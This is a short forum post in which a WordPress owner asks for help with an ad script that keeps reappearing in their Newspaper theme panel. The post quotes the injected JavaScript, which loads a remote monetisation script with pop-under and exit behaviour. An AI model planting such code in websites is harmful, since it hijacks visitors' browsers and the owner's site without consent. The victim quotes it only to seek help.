hello guys, plz help, I think somebody hacks my WordPress : Somebody add an adv code in my website in every 2 days

I remove it and then on the second day, it's come back.

Plz help me about this, I already changed my WordPress Website password and nothing more.

And yes, the adv code automatically appears in my newspaper theme panel.

Till now it's been 6 days, but other than this adv code I really can't see anything strange.

And you know, I'm the only user in my WordPress Panel too.

So, Plz HELP, any suggestion would be grateful. 


Here's the code:

    <script type="text/javascript">//<![CDATA[ 
    (function() {
        var configuration = {
        "token": "f17143abbffd1edf14788c13fa8a1b08",
        "entryScript": {
            "type": "click",
            "capping": {
                "limit": 5,
                "timeout": 24
            }
        },
        "exitScript": {
            "enabled": true
        },
        "popUnder": {
            "enabled": true
        }
    };
        var script = document.createElement('script');
        script.async = true;
        script.src = '//cdn.shorte.st/link-converter.min.js';
        script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(configuration);};
        var entry = document.getElementsByTagName('script')[0];
        entry.parentNode.insertBefore(script, entry);
    })();
    //]]></script>

